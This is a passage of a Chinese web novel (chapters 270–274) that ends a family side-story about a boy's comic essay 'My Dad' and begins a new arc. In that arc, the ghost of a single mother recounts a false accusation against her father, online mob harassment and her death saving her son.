等人都安静下来后,他才没好气道:“都咋咋呼呼个啥劲,低调,低调不懂吗?” 刚刚打招呼(献殷勤)的几个同学:“……” “还有,以后都喊我名字就是了,别哥啊,老大的喊。 低调,咱们要学会低调,不用我再强调了吧!” 月学文说完,人已经走到座位上坐下了。 瞧着好几个还愣愣的看着他,不禁蹙了蹙眉。 就在他还想说什么时,老师走进了教室。 老师一进来,同学们虽不似猫见了老鼠那么夸张,但也纷纷端正坐姿,目光全都落在老师身上,当然除了一人。 月学文目光并没有落在老师身上,而是落在了老师身后的黑板上。 月学文:……他是来上课,看黑板就行,看老师做啥?! “起立。” “老师好!” “同学们好,坐下,开始上课吧! 班上学生全体起立和老师互相问好后,这节课拉开了帷幕。 老师清了清嗓子,“昨天布置的作业,大家都完成了吗?” 同学们异口同声道:“完成了。” 老师扫视了下一众学生,满意的微点了下头。 “明天就是父亲节,老师昨晚让你们写的作文《我的爸爸》,等下下课后,会让你们把它装到信封里,到时以寄信方式送到你们的爸爸手上。 嗯,算是你们送给他的一份特殊的父亲节礼物。 信封和邮票老师等下会发给你们,还有老师问过了,同城的隔天就能送达,如果哪个同学的爸爸在外地……” 老师还在上面说着,底下好几个同学的表情变得有那么一些些的古怪与精彩。 老师似是没察觉到,亦或者察觉到,却不当一回事。 她之所以让同学们写我的爸爸,而不是给爸爸的一封信,就是想让同学们写出他们眼中父亲真实的样子。 她继续说道:“这节课,老师是打算这样安排的,先让几个同学上来演讲下他写的作文,老师当场给他们做点评。 之后剩下的时间,同学们自行修改作文,有什么不懂的可以请教老师。” 不用上课,同学们很高兴。 至于上去演讲作文,那是学习好同学的事,他们也乐得当听众。 老师一开始没打算点名,让同学们踊跃举手。 只是吧,放眼望去,除了那几个举手专业户,其他好些个同学的手那是恨不得收到书桌屉里,生怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被她误会了。 老师是个尽责老师,总是喊那些学习成绩好的同学上来回答问题,这样总归是不好的。 这种锻炼的机会,应该也让成绩中下游的学生参与进来。 她目光在从一个一个的学生座位上扫过,当视线落在教室末尾靠窗的位置时,她微愣下。 她记得刚进来时扫过黑板,上面空空的,没写啥画啥呀? 这是在看什么? 还是在发呆? 老师反手在讲台上轻敲了两下,发现月学文同学依旧专注的看着黑板,注意根本没被她吸引过来。 老师微皱了下眉,又清了清嗓子。 “同学们,这回老师直接点 名让同学上来给大家演讲他的作文。 第一个就让月学文同学上来吧,我们来听听月学文同学的爸爸是怎样一个爸爸。” 老师已经做好月学文同学在发呆,一时不会给出回应的准备了。 只是她的话才落下,她以为在发呆的月学文终于不看黑板,看向他了。 月学文:……和人说话,不看着人是不礼貌的行为,他若是敢这么做,被他爸知道了,准会被教育一顿的。 “老师,真要我上去念作文吗?” 月学文已经十岁了,虽没有哥哥月学武聪明,但也不笨。 作文么,他可以不胡编乱造,据实写。 可写出来和念出来给全班听,那就是两码事。 老师:“……” 什么真的假的,她都当着全班同学面说了,难道还能是假的。 老师以为月学文同学是害羞了,便鼓励道:“月学文同学,快上来吧!” 月学文低头瞅了眼桌上的作文本,心里叹息,老爸,这回可真不怪我,是老师要我念的。 翻开的作文本上,内容如下: 《我的爸爸》 我的爸爸,他不是一个好爸爸! 这是我爸爸他自己说的。 我爸爸说了,一个人一辈子专注做好一件事,将这件事情做到极致就足够了。 而他这辈子就想专注做个好男人,所以没空去做好爸爸了。 我爸爸说了,好男人可不是随随便便就能做好,做到极致的。 第270章 年代文里的童养媳(番外2) 好男人的三从四德五不准,听说过没? 所谓三从,就是媳妇出门要跟从,媳妇命令要服从,媳妇讲错要盲从。 至于四德,那就是媳妇花钱要舍得,媳妇生气要忍得,媳妇…… 还有五不准,不准夜不归宿,不准吃喝嫖赌,不准…… 对了,对了,还有由我亲爱的妈妈持续更新中的多条补充家规。 我爸爸说了,我妈妈当初就是看上他有当好男人的潜质,才同意和他处对象的。 当年,我妈妈还给了他三个月的试用期,我爸爸可谓是轻轻松松就转正,成为了我妈妈的正牌对象。 我爸爸…… …… 最近我爸爸好像有了新烦恼,我已经第三次见到他在我妈睡着时,对着她的肚子无声叹息。 对了哦,我妈妈要老蚌生珠了(这句话被划掉重写了)。 对了哦,我妈妈成了高龄产妇,要给我们生妹妹了。 每天只要我妈妈有一点点风吹草动,我爸爸就紧张的不行。 对我妈妈简直是捧在手心怕摔了,含在嘴里怕化了。 我妹妹还没出生呢,我爸爸就已经有做双标狗的趋势了。 双标狗的意思就是双重标准,用不同的标尺来衡量两个及以上的物品或事件。 这个词,我是从我妈妈那学来的,我妈妈是个超级超级厉害的妈妈。 …… 呜呜,太过分了。 我爸爸竟然为了还没出生的妹妹开始学做一个好爸爸! 说好的,这辈子只当个好男人,没空当个好爸爸的了?! 我爸爸竟然食言而肥了!! 我很生气,然后和我爸爸来了场男人间的对话。 我爸爸很无耻的说,妹妹是女孩子,他对妹妹好,那可不是在当一个好爸爸,而还是在一个好男人。 啥意思? 听不懂,完全听不懂。 哥哥教过他,像爸爸这种情况,就是在诡辩。 我和爸爸据理力争,我说得面红耳赤,爸爸表情却从头至尾没变过。 最后爸爸拍了拍我的肩膀,语重心长地说,有些东西等我长大了自然而然就会懂了。 可是我不想长大再懂,我想现在就懂啊! 我去找了哥哥,哥哥只是简单给了我五个字。 重女轻男呗! 我…… …… 小作文洋洋洒洒写了一千五百字,这字数对于一个四年级学生来说真的很不错了。 月学文大大方方的走上讲台,拿起作文开始念起来。 十岁的小少年身高已经快一米六了,声音清脆洪亮。 在小少年声音响起时,老师同学们瞬间安静来,都认真听起来。 小少年念出第一段时,老师眼眸亮了亮。 以为月学文同学这次的作文用的是先否定再肯定的写法。 她开始十分期待的想听后面内容,等待着反转。 不过……反转是有了,可根本不是她想象中的反转。 老师表情那是越听越古怪,有点快绷不住了的即视感了。 作为月学文的语文老师兼班主任,她是知道这孩子的家庭情况的。 理智告诉她,应该找个理由喊停,让月学文同学别念了。 可……老师也是人,也爱听这种大八卦呀! 底下的学生,嗯,好些东西都还听不太懂。 简单总结就是老大(文哥,月学文同学)的爸爸不是好爸爸,只想当好男人,还重女轻男。 就在月学文快将小作文念完时,教室门口出现了一道身影。 不是别人,正是他的哥哥月学武。 两兄弟的名字吧,根本就是取反了。 哥哥月学武从小天资聪颖,学习成绩嘎嘎好。 而弟弟月学文聪明劲是有的,就是不是学习的料,四肢也真的很发达就是了。 两人这名字取的,白幺幺同志表示她也很无奈的好不。 她不过是秉承一贯的做法,让孩子们自己选择叫什么。 名字可是两个孩子自己选的,当时她还乐呵了好一阵,觉得不愧是亲兄弟,这名字选的让人一听就知道他们的关系。 月学武也是学校的风云人物之一,长得好,成绩好,家世也好,没哪个老师不知道他的。 月学武礼貌的和老师问好,同时表明来意。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家里临时有事,要他们兄弟俩赶紧回去,他是过来帮弟弟请假,顺便把人带走的。 老师没有犹豫就批假了,不过在月学文要离开时,不忘让他把手中的小作文留下,说会帮他寄给他爸爸的。 月学文:“……” 其实大可不必的。 出了教室,月学文迫不及待的问,“哥,是妹妹要从妈妈肚子里出来了吗?” 他的声音没刻意压低,很是激动紧张。 月学武点了点头。 得到肯定,月学文拉着哥哥跑起来。 “那我们快点,不然到时去医院,妹妹已经出来了怎么办?” 他们爸爸可是说了,妈妈生孩子就跟在鬼门关走一遭似的,他们必须全部到场给妈妈加油打气。 坐靠教室门口的同学:“……” 他刚刚听到什么了? 文哥的妹妹要出生了!! 文哥的爸爸不是重女轻男吗,那他们要不要一起过去给文哥撑场子呀? 这名同学的想法才冒出来,老师好巧不巧就点了他的名,让他上去念作文。 医院里。 月钧枫是坐也不是,站也不是。 已经不是第一次当爸爸了,可那种紧张和担忧却是前所未有的。 月学武和月学文很快就来到了医院,瞅见他们爸的模样,两兄弟很有默契的没上前去打招呼。 因为吧,他们感觉,他们爸好像与世隔绝了。 双眼里只有那扇紧闭着门,再也容不下其他的东西了。 两兄弟也没坐下,而是找了个离门比较近的位置蹲着。 产房里久久没传出声音来,两兄弟下意识屏住呼吸,想听更仔细些。 而他们爸,嗯,早已把耳朵紧紧贴在门上了。 虽然吧,他们爸重女轻男,可是两兄弟还是很期待妹妹的到来。 也不知道过去了多久,反正两兄弟脚已经蹲着麻了。 那扇承载了他们父子三人灼热目光的门终于开了,护士抱着一个襁褓走了出来。 她满脸笑容对月钧枫说:“恭喜月先生,是个六斤五两的女孩,母女平安!” …… 第271章 灭世反派的早死亲妈(01) 繁华的都市,洋快餐店门口。 一个皮肤黝黑,身量瘦削的女人牵着一个四五岁的小男孩经过。 一大一小的衣着打扮,都透着股穷酸味,似是与周遭的繁华格格不入。 暑气炎炎,两人汗淋淋的,显得有些狼狈。 女人走路的时候微佝偻着腰,眼睛只看前面的路,不似小男孩好奇的东张西望。 女人走着走着,察觉到什么,停住脚步。 低头看向忽然就不走了的儿子,她顺着孩子的视线看去,入目的正是洋快餐店的玻璃幕墙。 透过玻璃幕墙,可以清晰的看到好些个孩子正坐在里面开心的吃着薯条汉堡,喝着冰凉凉的可乐。 正值盛夏,此时还是大中午的,女人脸上的大颗汗滴滚落滴到地上。 她轻轻舔了下嘴唇,意识到她竟在盯着人家吃饭,忙羞窘的移开了视线。 小男孩年纪摆在那,渴望全写在了脸上,时不时的舔了舔有些发干的嘴唇,喉咙滚动。 女人伸手摸了摸裤兜,脸上神色极快的变换了下。 最后还是咬了咬唇,轻轻拉扯了下小男孩的手,示意他赶紧跟上。 然后她就继续向前走去,只是步子明显放慢了些。 小男孩抿了抿唇,依依不舍的收回目光,继续跟上女人的步伐。 全程,母子俩都没言语交流,画面却是那样的“和谐”。 小男孩不吵不闹的,也没有明确将他的渴求说出来,让女人为难。 一大一小的身影走出百米后,也不知道啥情况,又折返回来了。 很快,两人停在了洋快餐的甜品站前。 女人从裤兜里掏出一个塑料袋,打开,从里面摸出一把硬币,开始数起来。 很快,她数好后,将钱给甜品站里的工作人员。 也不知道是谁的失误。 啪嗒一声。 一枚一元的硬币没有去到工作人员的手上,而是掉落,眨眼的功夫就滚到了地上去。 女人视线紧紧粘着那枚硬币,生怕硬币会跑没了。 幸好硬币没滚个没影,而只是滚出一米远,就停下来了。 女人暗暗的松了口气。 就在她准备走过去捡起那枚硬币时,小男孩比她更快。 捡起硬币后,小男孩第一时间回头朝女人咧嘴露出灿烂纯真的笑,似是在邀功求表扬。 女人也不吝啬,给了小男孩好几句夸夸。 然后小男孩脸上除了笑得更灿烂了,还多了一抹羞涩难为情。 很快,一大一小两人手上都多了一个冰淇淋圆筒。 小男孩拿到冰激淋的第一时间,就是把手举高高的,想往女人面前递。 女人明白小男孩的意思,欣慰的笑了,摇头。 她把自己手中的冰激淋给小男孩看了看,意思她也有,让他自己吃。 小男孩知道妈妈也有,可还是执拗的想要让妈妈吃第一口他的冰激淋。 女人脸上的笑意在蔓延,蔓延,眼眸里闪动着幸福的流光。 在小男孩期待催促的目光下,她低头在小男孩手上的冰激淋顶端尖尖位置轻抿了一口。 见女人吃了,小男孩才眉开眼笑的开始享受的冰激淋。 …… 白幺幺毫无形象的蹲在地上,她已经快被热成狗,就差再形象的吐吐舌头了。 女人还在她旁边说着,不过声音已经带上了哭腔。 不用转头看,白幺幺都知道对方肯定哭了。 而上面的画面,是她听着女人的讲述,脑中跟着浮现出的画面。 这个小世界,怎么说,有点特别。 准确的说,不是小世界特别,而是她现在的情况有点特别。 黑户! 她现在在这个小世界就是个黑户,已死亡,注销了身份的黑户。 而她旁边还在边哽咽边说的女人就是原主……的魂,或者说一抹意识灵体。 原剧情是一本叫做《京圈小佛爷夜夜宠青梅娇妻》的小说,小说内容从名字看就知道个大概了。 在原剧情中,原主是个没有戏份的炮灰工具人。 一个已经嗝屁十几年,只存在于反派的回忆中的人。 反派是谁,反派就是原主的儿子。 也就是那个拿到冰激淋会第一时间分享给妈妈吃的小男孩。 故事要从原主十八岁那年说起。 原主本是个软萌的乖乖女,家里不是什么大富大贵之家。 父亲是小学老师,母亲是厂里小会计,小日子幸福温馨。 可就在她还有三个多月就要参加高考时,家里突遭变故。 原主的父亲被一名女学生指控 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 师德败坏,多次对她进行猥亵。 尽管对方那边拿不出实质的证据,仅凭小女孩一面说辞。 事情还是闹得很大,严重影响到了原主一家三口的生活。 对了哦,原主父母是同个孤儿院的孤儿,所以他们是真正意义上一家三口,没有其他的亲人。 原主父亲是个十分正直,眼里容不得沙子的人。 遇到这样的事,根本没人听他说。 实在是因为受害者是个孩子, 然后近几年又出现太多起禽兽老师师德败坏的事件。 孩子是祖国的花朵,大家对将罪恶之手伸向这些未成年孩子的行为是零容忍的。 原主父亲一直坚持自己没做过,没做过,可没人听的。 他不懂,那个女学生为什么要撒谎。 不堪背负此等污名,原主父亲最后悲愤的以死证清白。 原主父亲的死,不仅没有起到证明他清白的效果,还被认为是想逃避责任,畏罪自杀的。 那个小女孩的家人依旧继续闹,罪魁祸首死了。 可她女儿那么小,遭遇了那样的事,身心遭受巨大的创伤。 赔偿,必须赔偿。 原主母亲和原主父亲感情之深,是无法用言语描述的。 原主父亲的死对原主母亲打击可谓是巨大,加上她身体本就不好,哪里还有心神精力去应付小女孩一家人,以及那群热心的社会公众。 最后,原主母亲在小女孩一家以及热心群众逼迫下,卖了她和原主父亲攒了许久才够首付买下的两居室。 不过她没有将钱给了小女孩一家人,因为她知道一旦给了钱,不就是默认下了小女孩对丈夫的指控。 她拿这些钱找律师,找各种能找到途径想为亡夫证清白,原主母亲是百分百相信自己丈夫的。 你以为事情到这里可能会迎来转机吗。 没有哦,不然咋说祸不单行了。 发生了这样的事,原主母亲工作的厂里怎么可能不知道,厂里直接让原主母亲不用来了。 原主母亲接受了厂里开除她不给补偿的行为,她现在还沉浸在丧夫的悲痛中,身心疲累。 强撑着为亡夫证清白,根本无心其他事。 只是厂里有点得寸进尺,连原主母亲最后一个月的工资也不给她,说是她给厂里带来了负面影响。 第272章 灭世反派的早死亲妈(02) 厂里没找她要赔偿已经是仁至义尽了,最后未发的一个半月工资就当赔偿给厂里的了。 厂里这样做法根本没道理,也不合法。 房子卖了,丈夫没了,工作也没了,可孤儿寡母的还要生活呀! 最关键是丈夫一定是被冤枉的,那工资也是她应得的。 原主母亲强撑着精神去厂里讨要工资,最终是要到了,却也听了不少恶言恶语。 回家的路上,因着长时间没休息好,精神一阵恍惚,脸朝地栽了下去。 而这个点,上班的上班,上学的上学。 小路又比较偏僻,等原主母亲被发现时,已经晚了。 短短时日里,原主家经历那样的事,紧接着又是丧父丧母。 原主哪里还有心情参加高考,才十八岁,刚成年的她,有那么一瞬间也想跟着父母一起走。 只是父亲走的那晚,母亲拉着她的手,重复的说着,好好活着,她们母女俩一起好好活着。 活着才有希望,活着…… 小镇,原主是待不下去了。 她背上简单的行囊以及父母的骨灰,拿上家里剩余为数不多的钱财,离开了这个她既熟悉又陌生的小镇。 高中没毕业,家里没出事前,又是一心全扑在学习上的乖乖女。 原主离乡背井,来到人生地不熟的京市。 之所以选择京市,是因为一南一北,她想离那个小镇远远地。 异地他乡的,太思念父母,各种情绪在心里压抑着难受。 原主想着成年人这种时候不都选择借酒消愁,嗯,她现在也是成年人了。 乖乖女原主第一次去了酒吧,第一次喝了酒。 涉世未深的小白兔进了狼窝,不出事才奇怪。 原主第二天是在一间超级豪华酒店套房里醒来的,旁边还躺着一个男人。 不用掀开被子,也能清晰感觉到被子下的两人都不着寸缕。 原主还是个不谙世事的小姑娘了,遇到这种事,一时吓坏了。 她想哭,只是想到父母都不在了。 她坚强的压下泪意,忍着全身的不适,下床找到能穿衣服穿上,轻手轻脚的离开了。 三个月后,原主觉得身体不适,去医院一检查,怀孕了。 原主的父母是孤儿,所以十分渴望和重视家庭亲情。 原主是在充满爱的环境长大的,父母恩爱,作为独生女,她又独享了父母的爱。 如今父母没了,这世上就只余下她孤零零的一人。 可以说,这个孩子来得不是时候,却也是时候。 因为原主已经快支撑不下去,好几次动了想要追随父母而去心思。 之后就是原主把孩子生下来,开始艰辛却温馨幸福的单亲妈妈养娃生活。 告别过去,迎接新生。 儿子聪明懂事可爱,日子虽苦点累点,但全是盼头。 只可惜原主拿的不是女主剧本。 她是炮灰工具人,而她的儿子是未来意图灭世的大反派。 反派的标配怎么可能少得了一个悲惨的童年,更何况还是一个未来企图灭世的大反派。 不亲身经历各种各样不公平的对待,人性的凉薄,生活的磨难,如何能成就一个合格的大反派。 白幺幺:“……” 如此反派套餐来一套,就问有几个人能扛住不生出毁灭世界的想法,只是有没有那个能力付诸行动罢了。 原主独自带着儿子,也就是小反派磕磕绊绊活着。 在小反派五岁半的时候,为了救小反派被车轧死了。 小反派的悲惨童年就此拉开帷幕,直到十岁被血缘生父找回去,才就此结束这一悲惨的童年。 可以说,原主的死是原主儿子走上反派之路的直接原因和主要原因。 白幺幺回头瞅了眼陷入回忆中,时而幸福的笑,时而又大颗大颗掉眼泪的女人。 也幸好旁人看不到女人,不然这又哭又笑的模样,怕是会引来不少异样的目光吧! 接着来说说原主是怎么死的,然后她现在又是怎么一种情况。 小反派五岁生日的这天,原主带着小反派进入蛋糕店选了一个十几块的小蛋糕。 小反派真的很乖巧懂事,明明对蛋糕渴望得不行,却还是拉着原主往蛋糕店外走,口是心非的说他不爱吃的。 原主当时是既感动又心酸,她这般年岁时,父母尚在,从未吃过苦。 每年生日除了大大的生日蛋糕,还有母亲煮的一桌丰盛大餐。 原主把小反派抱起来,在人脸蛋上狠狠亲了一口。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她和小反派说,生日这天吃生日蛋糕,可以吹蜡烛许三个愿望,很灵验的。 然后说要征用了他的一个愿望,让他到时许一个妈妈能够快快找到一个工资高点的好工作的愿望。 小反派毕竟还是个小孩子,不仅信了,还很大方说三个愿望都给妈妈许。 最后,小反派开心的提着小蛋糕和妈妈离开蛋糕店。 这天气说变就变,原本还晴空万里,眨眼功夫就乌云密布,大雨欲来。 原主她们没带伞,只能快步往公交站台走去。 就在她们走到公交站台时,大雨倾泻而下。 得亏公交站台是有顶棚的,能站在下面避雨。 天气变化得毫无预兆,路上行人没带伞的比比皆是。 越来越多人来公交站台这边避雨,原主母子俩不断往边缘退。 人挤人的,有人不小心碰到了小反派。 啪嗒,他手上的小蛋糕一时没拿好,摔到了地上。 有包装盒,里面的蛋糕没弄脏,可是都变形了。 这可把小反派委屈得想哭,不过他以后可是要保护妈妈的勇敢男子汉,才不能哭了。 小反派一直心疼的盯着手中的小蛋糕,这回他更小心仔细,生怕再把小蛋糕给摔了。 所以他并没有注意到两人站的位置已经能被雨淋到,而他的妈妈正用身体以及双手给他挡雨。 她们要搭乘的公交车迟迟没来,雨也没有要停的趋势。 没人注意到对面马路一辆小轿车停了下来,一个身段姣好的靓丽女人抱着一个小女孩从车上下来。 她们穿过瓢泼的雨幕来到马路这边,朝着原主她们走来。 女人怀中抱着粉雕玉琢小女孩甜甜的喊原主姨姨,然后将一把伞递给了原主。 原主一直推拒不要,小女孩作势就要哭。 最后原主无奈只能收下伞,并且女人离开前还强硬的给原主塞了千把块,原主当然又是死命推拒。 只是女人也温声细语的劝原主收下,说什么苦了大人也不能苦孩子,反正她最见不得孩子受苦了。 这钱又不是给她的,而是给孩子的。 公交站台上等车避雨的人被女人以及她怀中抱着小女孩的善良触动了,好些人纷纷拿出手机来拍照录视频。 第273章 灭世反派的早死亲妈(03) 好些人还眼尖的发现,由于雨太大,这位人美心善的女人身上一些地方被雨打到了。 一个个纷纷站出来帮着女人劝说原主赶紧把钱收下来,雨这么大,没看到人家还抱着个孩子了。 有几个比较急脾气的还指责上了原主,说原主不识好歹,有人送钱不赶紧感恩戴德的收下,在那假清高做啥?! 似曾相识的画面…… 当初,也是好多“热心”的人,不断的逼迫着她爸爸。 让他敢做就要敢认,别以为没有实质性的证据,就能逍遥法外,还是赶紧去自首吧! 陷入回忆中的原主一时有些恍惚,手无意识的挥摆了下,好死不死就碰到了女人捏着钱的手。 也不知道是女人只是虚捏着钱,还是原主力道真的有点大。 十几张的红色钞票从女人手中滑落,掉到了地上。 原本应该是人美心善的妈妈抱着小天使般的女儿,冒着瓢泼大雨送温暖,对方感激涕零收下的暖心画面。 可现在—— 人们最见不得善意被践踏了。 可以说,原主一下子引得了众怒。 钱掉地上后,女人先是错愕了下,而后露出有点受伤的模样。 “你是不是嫌钱少,不好意思,我出门很少带现金的,临时身上就只能找出这么多来。 要不,你留个银行卡号给我,我可以资助你儿子读到大学……” 哗啦啦的雨声,周围人你一言我一语的嘈杂声音,还有面前女人依旧温柔的声音。 原主感觉头快炸了,想也不想,弯腰抱起儿子,直接冲进雨幕中。 众人被她的行为搞懵了一瞬,回神后纷纷安慰起女人来,同时指责原主。 原主抱着儿子在雨中跑出一段距离后,才慢慢停下来。 跑动的时候,她不忘躬着身,用身体给孩子遮挡去大部分的雨水。 小反派也感觉到妈妈的不对劲,一手提着小蛋糕,另一手乖乖搂着妈妈的脖子,没有说话。 找到另一处公交站牌,母子俩换乘了两趟公交车才回到了简陋却收拾得很整洁的住处。 在车上,原主已经调整好情绪了。 到家后,她赶忙先给小反派简单冲了个热水澡,换上干净的衣服。 而她自己只是把湿衣服换下就去厨房忙活了。 晚上,小反派过了一个很开心的生日。 吃了寿面,还吃了蛋糕,吹了蜡烛,许了三个心愿。 这一晚,小反派睡着后,嘴角都是弯起的。 而这一晚,原主醒醒睡睡,一直受恶梦侵扰。 第二天醒来,原主和小反派在网上火了,因为昨天公交站台的事。 昨天那个人美心善的女人,她就是原剧情中的女主……她妈。 而她手中抱着的小女孩,没错的,就是原剧情中的女主。 不得不说,还挺巧的。 女主她妈和原主同样经历了一夜情,意外怀孕,然后成为单亲妈妈。 只不过原主这一夜情是稀里糊涂的,女主她妈的则不是。 她是偶尔发现有人要算计女主她爸,然后使了点手段摘了桃子。 原本想生个儿子,到时母凭子贵顺利嫁入豪门的,只是没成想生下来的是女儿。 女主她妈倒没有重男轻女的想法,特别是女儿一天天的长大,那模样简直像个小天使。 她开始担心到时会不会偷鸡不成蚀把米,最后没能嫁入豪门,还把女儿丢了。 这段时间,有星探看中了女儿,想让她带着女儿作为素人嘉宾去参加一档亲子综艺节目。 她一开始想拒绝的,怕女儿曝光在镁光灯下,到时被那男人发现,然后想把女儿抢走怎么办。 只是,她脑中又快速一转,有了新决断。 如果她们成了公众人物,甚至能通过综艺节目赚到超高的人气。 到时对方真的找上门来想抢女儿,她们不才有相应的底气抵抗吗。 第二天就要去参加节目了,检查一下发现有几样小东西没买,便开车带女儿出来。 没成想半路下大雨,然后女儿忽的指着窗外,让她停车。 说对面小哥哥和姨姨在淋雨雨,要去给她们送伞伞。 女儿如此的善良,她很欣慰。 可是看着外面不小的雨,她内心是拒绝下车做好事助人的。 女儿又催促了声,她忽的想到什么,眸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光一亮。 既然打算带着女儿走娱乐圈这条路,那么在外塑造的形象很重要。 同样一件事,未成名前做与成名后做,收到效果有着天壤之别。 女主她妈并不觉得她这样做有什么错,她与原主算是互惠互利,双赢的局面。 一个需要好名声,在公众面前树立人美心善的正面形象,一个则是需要善心人士提供物质上的帮助。 后面原主有些过激的反应让女主她妈有些诧异,不过她也没当一回事。 扫见在场的人,有一大半以上的拿出手机在拍摄,她知道自己目的完美达成了。 而这一件事的效果,远远超乎了她的想象。 她和女儿上综艺的第一天就小火了一把, 吸粉无数。 而女主母女越火,暴雨中公交站台送温暖事件就热度不减 广大网友赞美女主母女的同时,纷纷辱骂指责不识好歹的原主。 节目组凭借敏锐的直觉,开始买热搜,不让事件热度降下来。 再之后,就是不知道哪个神通广大的网友扒出了原主的身份,以及原主父亲的事。 这下,都不用节目组买热搜,整个事件直接被推上了热搜第一。 整个事件中,女主母女俩以及节目组受益之大,根本无法用金钱衡量。 而原主和小反派,已经不单单是严重影响到正常生活了。 网上全是骂原主父亲,骂原主的。 什么果然上梁不正下梁歪! 什么她就应该跟着她那禽兽父亲去死的! 什么她就是不检点的贱人烂货,小小年纪就搞出个孩子来! 什么孩子从她肚子里爬出来也是可怜,简直是倒了十八辈子血霉! 什么她父亲的事就姑且不说,可是她这样的情况,还生啥孩子,没听过不生也是一种善良吗?简直恶毒! 什么没错,都这年代了,没那个经济条件还把孩子生出来的,都是自私到极点的。 什么父母之恩不在于生养,而在于托举,最烦那些个无能穷逼父母瞎鸡巴生孩子了,也不问问他们的孩子愿不愿生在这样的家庭,拥有这样贫穷,低俗,不堪的父母。 …… 第274章 灭世反派的早死亲妈(04) 话题虽一下子歪楼了,但广大网友对原主的口诛笔伐却一样没落下。 很快线上已经不够他们发挥了,他们还在线下聚集,围堵过几次原主。 当然,这种自带流量的事怎么可能少得了记者朋友们。 原主开始带着小反派躲在租房里,不敢外出。 她以为过段时间,事情就能平息。 而网上的各种言论,原主不是没有看到。 怕让小反派担心,她时常躲在逼仄狭小的卫生间里偷哭。 甚至也开始自我怀疑,自我唾弃,她当年把孩子生下来的行为是不是太自私,太……恶毒了。 日子一天一天的过去,事件热度依旧在。 没办法,女主母女俩参加的那趟综艺还在热播中,原主算是和她们捆绑在一起了,这事件的热度哪里是那么容易能降下去的。 终于有热心人发现原主很久很久没带孩子出门了,他们很生气很愤怒,觉得原主这样是在虐待孩子。 原主:“……” 虐待孩子? 她很懵,真的很懵。 这天房东来敲响了原主家的门,原主以为房东是因为合同再有几天到期了,要来和她续签合同的。 哪成想,房东是来收回房子的。 原主和房东商量,能不能再把房子续租给她,房租上她可以再多点给。 只是无论原主说什么,房东都不为所动,还让原主赶紧找房子搬出去,租期一到他就来收房子。 房东离开时,也不知道是忍不住,还是啥的,留下这么句话。 “原本看你独自带着个孩子不容易,才把房子低于市场价租给你,没成想,你是这样的人!看走眼了喽!!” 房东的声音不大不小,异常清晰的传入原主耳中。 原主尽力了,可是租期到期时,她还是没能找到房子。 她没有赖着不走,收拾好行李,带着小反派离开租房。 她决定了,要带着小反派换个城市生活。 只是她不知道外面正有不少记者在蹲守了,昨天那档综艺节目迎来第一期的大结局。 女主她妈接受记者采访时,再次被记者提问起冒雨给原主送温暖的这件事。 女主她妈的回答都很中规中矩,不过在同样是单亲妈妈这件事上。 女主她妈表示她很喜欢孩子,在意外怀上女主后,她是综合了自身各方面条件,当然最关键的还是经济条件,深思熟虑后才把孩子生下来的。 她同时对着镜头和原主喊话,说她当时说要资助原主儿子到大学的话是认真的。 女主她妈通过这则采访又吸了一波粉。 而原主以及小反派则再次被卷入风浪中心,原主甚至丢了性命。 突然围堵上来的记者把原主以及小反派都吓了一跳。 原主手上提着行李,没手牵小反派,只能回头让他跟紧了,然后就要绕过记者离开。 只是记者么,新闻素材就在眼前,怎么可能放人离开。 路人发现他们这边有热闹看,也纷纷围拢过来。 原主只想快点离开,脚步不停。 记者却不依不饶,追着人各种犀利的问题频出。 原主埋头走路,根本不想回答。 眼看原主走到马路边,准备拦计程车离开,记者急了,挡住人不让离开。 围观群众也有认出原主来的,他们跟着起哄。 泥人也有三分火气,原主知道不管是记者还是围观群众都无权限制她的人身自由。 她用行李顶开记者,想要继续拦车。 只是她这一动作,莫名的就引起了民愤,没错,民愤。 人群开始骚动,有人在推搡着她。 混乱中,小反派被挤出人群,跌倒在大马路中间,一辆大货车正疾驰而来。 那些记者和围观群众一时都愣住了,而原主简直目眦欲裂。 她以平生最快速度扑过去抱起孩子,在大货车撞上来前一刻,那瘦弱的身躯爆发无限的潜力,将孩子往人群方向抛了出去。 砰的一声,原主被撞飞落地,紧接着被大货车车轮轧了过去。 周遭的尖叫声不断,最先反应过来的人赶忙掏出手机打急救电话。 原主被车轧过去后,并没有马上断气。 她艰难的转过头去,在看到儿子被一个陌生男人抱着,此时正挣扎着想从男人身上下来。 她嘴角缓缓勾起, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脸上露出一抹笑意来,而后意识渐渐的模糊了。 就这样原主死了,小反派成了孤儿。 女主她妈真如她说的,一直在暗中资助着小反派。 当然,她也不仅资助小反派,还资助了孤儿院里的很多小朋友。 综艺结束后,女主母女可以说是名利双收,甚至还有了一个意外收获。 女主的爸爸找上门来了。 原来是在综艺播出的期间,女主母女俩实在是太火了,让女主爸爸的那边亲人发现了女主的存在。 经过一番调查,确认女主就是女主爸爸的亲生女儿。 女主母女俩的善良,以及在综艺中的表现让女主爸爸那边的长辈很满意,直接让女主爸爸去把 母女俩接回家来。 女主她妈和她爸,两人经过一番拉扯交涉,最后开始了属于他们的新婚后爱故事,女主在这个故事里当助攻。 同时,女主也认识了她的竹马男主,开启了属于她自己的故事。 收起思绪,白幺幺抓了抓头发,又伸手在脸上抹了把汗。 回头看向已经不哭,却在出神的人。 她伸手在人面前晃了晃,“走吧,真的很晒,你不怕晒,我怕,我可不想这身白嫩嫩的皮肤被晒黑。” 女人恍然回神,回忆了下白幺幺说了啥,有些羞赧的低了低头。 “不,不好意思。” 白幺幺摆手,表示没事的。 这个小世界,原主实在太想念儿子了,毅然决然放弃投胎的机会,只想回来见儿子一面。 为了见这一面,原主不惜以彻底消失于世间为代价。 白幺幺叹息,可怜天下父母心啊! 也不知道是不是因为带着原主的灵魂一起进入小世界,原本她应该穿越到原主还未去世前的任何一时间节点。 